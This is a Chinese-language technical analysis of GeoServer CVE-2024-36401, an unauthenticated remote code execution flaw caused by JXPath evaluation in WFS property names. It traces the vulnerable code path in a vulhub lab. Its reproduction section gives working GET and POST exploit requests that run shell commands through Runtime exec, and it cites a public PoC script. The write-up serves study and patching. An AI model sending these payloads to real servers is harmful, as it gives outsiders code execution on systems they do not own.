漏洞介绍
GeoServer 是 OpenGIS Web 服务器规范的 J2EE 实现,利用 GeoServer 可以方便的发布地图数据,允许用户对特征数据进行更新、删除、插入操作。
在GeoServer 2.25.1, 2.24.3, 2.23.5版本及以前,未登录的任意用户可以通过构造恶意OGC请求,在默认安装的服务器中执行XPath表达式,进而利用执行Apache Commons Jxpath提供的功能执行任意代码。
漏洞范围
- version < 2.23.6
- version < 2.24.4
- version < 2.25.2
漏洞靶场
使用vulhub的靶场:
使用环境为GeoServer 2.23.2
vulhub-master/geoserver/CVE-2024-36401/
启动靶场环境:
1 | docker-compose up -d |
环境启动后,访问 http://your-ip:8080/geoserver查看到GeoServer的默认页面。
漏洞原理
Jxpath
JXPath是apache公司提供的XPath的java实现,JXPath 提供了用于遍历 JavaBean、DOM 和其他类型的对象的图形的 API,同时提供了一套扩展机制使我们可以增加对这些对象之外的其他对象模型的支持(重点).
JXPath支持标准的XPath函数,开箱即用。它还支持 “标准 “扩展函数,这些函数基本上是通往Java的桥梁,以及完全自定义的扩展函数.
commons-jxpath:commons-jxpath <= 1.3
简单来说就是一个java拓展的xpath库,他相比较于传统的xpath进行了针对java的拓展,能够像表达式语言一样能够在表达式里面new对象调用静态方法了

这里就分别有三个例子来表示他的用法
- 通过
.new创建对象,调用构造器方法 - 能够调用任意静态方法(public)
getAuthorsFirstName($book),相当于$book.getAuthorsFirstName调用某对象的xx方法
漏洞原理比较简单,使用第三个用法,exec(Runtime.getRuntime(),’’)就能够执行任意命令
1 | try { |
WFS GetPropertyValue
Web Feature Service (WFS)是开放地理空间联盟(OGC)创建的一个标准,用于在互联网上使用HTTP创建、修改和交换矢量格式的地理信息。WFS以地理标记语言(GML)编码和传输信息,GML是XML的一个子集。
https://www.osgeo.cn/geoserver-user-manual/services/wfs/reference.html
以上是Geoserver对于wfs的介绍,其实就可以理解为一个协议,能够访问通过http访问地理信息的协议,然后该协议在不同版本有许多操作

而我们需要利用的就是存在于2.0.0版本的GetPropertyValue操作
从数据存储中为使用查询表达式标识的一组功能检索功能属性的值或复杂功能属性的部分值
从描述就可以发现他是通过表达式语言查询对应的Property属性,这里具体指的就是特定地理特征类型(如地图中的河流、建筑物等)的描述信息,包括其属性和其他特性的定义。
接着我们来调试一下这个过程

src/main/java/org/geoserver/ows/Dispatcher.java#L257-L259, L268
首先在org.geoserver.ows.Dispatcher#handleRequestInternal接受并处理wfs请求的操作并分配给对应的service去执行,这里就是Operation( GetPropertyValue, wfs )

src/main/java/org/geoserver/wfs/DefaultWebFeatureService20.java#L123-L126
接着在org.geoserver.wfs.DefaultWebFeatureService20#getPropertyValue这里就为getPropertyValue操作的具体service处理类了,继续跟进run
1 | public ValueCollectionType run(GetPropertyValueType request) throws WFSException { |
src/main/java/org/geoserver/wfs/GetPropertyValue.java#L58-L120
主要代码在propertyNameNoIndexes.evaluate(featureType.getFeatureType())这一块,propertyName就是我们要查询的地理类型,然后调用的evaluate去处理的

src/main/java/org/geoserver/wfs/GetPropertyValue.java#L99, L115
进入evalute发现这里调用了这个存在漏洞的api,org.geotools.data.complex.expression.FeaturePropertyAccessorFactory.FeaturePropertyAccessor.get(Object, String, Class),其中的attPath能够控制,所以就导致了漏洞

1 | public <T> T evaluate(Object obj, Class<T> target) { |
C:\Users\LENOVO.m2\repository\org\geotools\gt-main\29.2\gt-main-29.2.jar!\org\geotools\filter\AttributeExpressionImpl.class#L104-L158(需用Maven下载依赖包)

C:\Users\LENOVO.m2\repository\org\geotools\gt-main\29.2\gt-main-29.2.jar!\org\geotools\filter\AttributeExpressionImpl.class#L121(需用Maven下载依赖包)
接着我们分析一下为什么当时没有找到这个api的使用点,很明显这里使用了findPropertyAccessors方法动态获取属性访问器accessor,这里我们跟一下findPropertyAccessors的逻辑
1 | /** |
C:\Users\LENOVO.m2\repository\org\geotools\gt-main\29.2\gt-main-29.2.jar!\org\geotools\filter\expression\PropertyAccessors.class#L19-L34(需用Maven下载依赖包)

C:\Users\LENOVO.m2\repository\org\geotools\gt-main\29.2\gt-main-29.2.jar!\org\geotools\filter\expression\PropertyAccessors.class#L25-L30(需用Maven下载依赖包)
这里遍历内置的那八个accessor调用各自的canHandle方法是否能够处理当前的对象以及xpath参数,能够处理则返回该添加到PropertyAccessor集合里面最后返回这个集合

很明显这里的FeaturePropertyAccessor只需要满足obj继承Attribute或者AttributeType就行了,至于其他的Accessor的canHandler方法可以自己分析一下

C:\Users\LENOVO.m2\repository\org\geotools\gt-main\29.2\gt-main-29.2.jar!\org\geotools\filter\expression\SimpleFeaturePropertyAccessorFactory.class#L128(需用Maven下载依赖包)
注意这里如果传入的是obj自带有的地理数据如这里的the_geom就会通过SimpleFeaturePropertyAccessorFactory的can_handler

C:\Users\LENOVO.m2\repository\org\geotools\gt-main\29.2\gt-main-29.2.jar!\org\geotools\filter\expression\PropertyAccessors.class#L19-L34(需用Maven下载依赖包)
总结一下,首先这里的GetPropertyValue请求其实就查询指定图层layer的指定要素,通过valueReference的方式传入属性名,然后这里属性名的查询方式就直接调用的geotool的漏洞api
WFS GetFeature
这个请求是用于从服务器检索地理空间要素的全部或部分属性及几何信息,而通过前面的漏洞的分析我们很容易知道漏洞触发点是在属性名查询这里,所以这里的GetFeature请求我们重点关注一下filter过滤逻辑部分,对于属性名的处理

src/main/java/org/geoserver/wfs/GetFeature.java#L376-L431
主要是这一块代码,至于每个OGC请求就不需要我再分析了,直接调一下就能发现在org.geoserver.ows.Dispatcher#handleRequestInternal处理分发wfs操作

src/main/java/org/geoserver/ows/Dispatcher.java#L268

src/main/java/org/geoserver/ows/Dispatcher.java#L867
然后获取对应的操作方法直接反射调用的

src/main/java/org/geoserver/wfs/DefaultWebFeatureService.java#L109
然后在wfs模块内部又会经历一次分发,所以我们调试的话直接在对应service类的run方法开始调就行没什么好说的

1 | public FeatureCollectionResponse run(GetFeatureRequest request) throws WFSException { |
src/main/java/org/geoserver/wfs/GetFeature.java#L236-L658

这一部分就是我们构造的filter,直接跟进validateFilter方法他是执行我们的filter的
1 | // 定义一个名为validateFilter的方法,该方法接收四个参数:一个Filter对象,一个Query对象,一个FeatureTypeInfo对象和一个GetFeatureRequest对象。 |
src/main/java/org/geoserver/wfs/GetFeature.java#L1576-L1681
这里创建了两个访问器去解析我们的过滤语句,为什么创建的两个,这是因为我们使用的

C:\Users\LENOVO.m2\repository\org\geotools\gt-main\29.2\gt-main-29.2.jar!\org\geotools\filter\AttributeExpressionImpl.class#L110(需用Maven下载依赖包)
evalute解析属性名这里跟前面一样直接触发漏洞点
漏洞复现
在官方漏洞通告中提到可以找到漏洞相关的WFS方法:
No public PoC is provided but this vulnerability has been confirmed to be exploitable through WFS GetFeature, WFS GetPropertyValue, WMS GetMap, WMS GetFeatureInfo, WMS GetLegendGraphic and WPS Execute requests.
比如,这里使用GetPropertyValue来执行xpath表达式。参考官方文档,构造了两个POC。基于GET方法的POC:
1 | GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),'touch%20/tmp/success1') HTTP/1.1 |

基于POST方法的POC:
1 | POST /geoserver/wfs HTTP/1.1 |

熟悉的java.lang.ClassCastException错误,说明命令已执行成功。
进入容器可见,touch /tmp/success1与touch /tmp/success2均已成功执行。

值得注意的是,typeNames必须存在,我们可以在Web页面中找到当前服务器中的所有Types:
poc使用
Niuwoo/CVE-2024-36401: POC (github.com)
1 | python CVE-2024-36401.py -u http://192.168.159.132:8080 -c whoami |

参考
https://github.com/vulhub/vulhub/blob/master/geoserver/CVE-2024-36401/README.zh-cn.md
GeoServer Property evalute 远程代码执行漏洞 (CVE-2024-36401) 分析-先知社区 (aliyun.com)
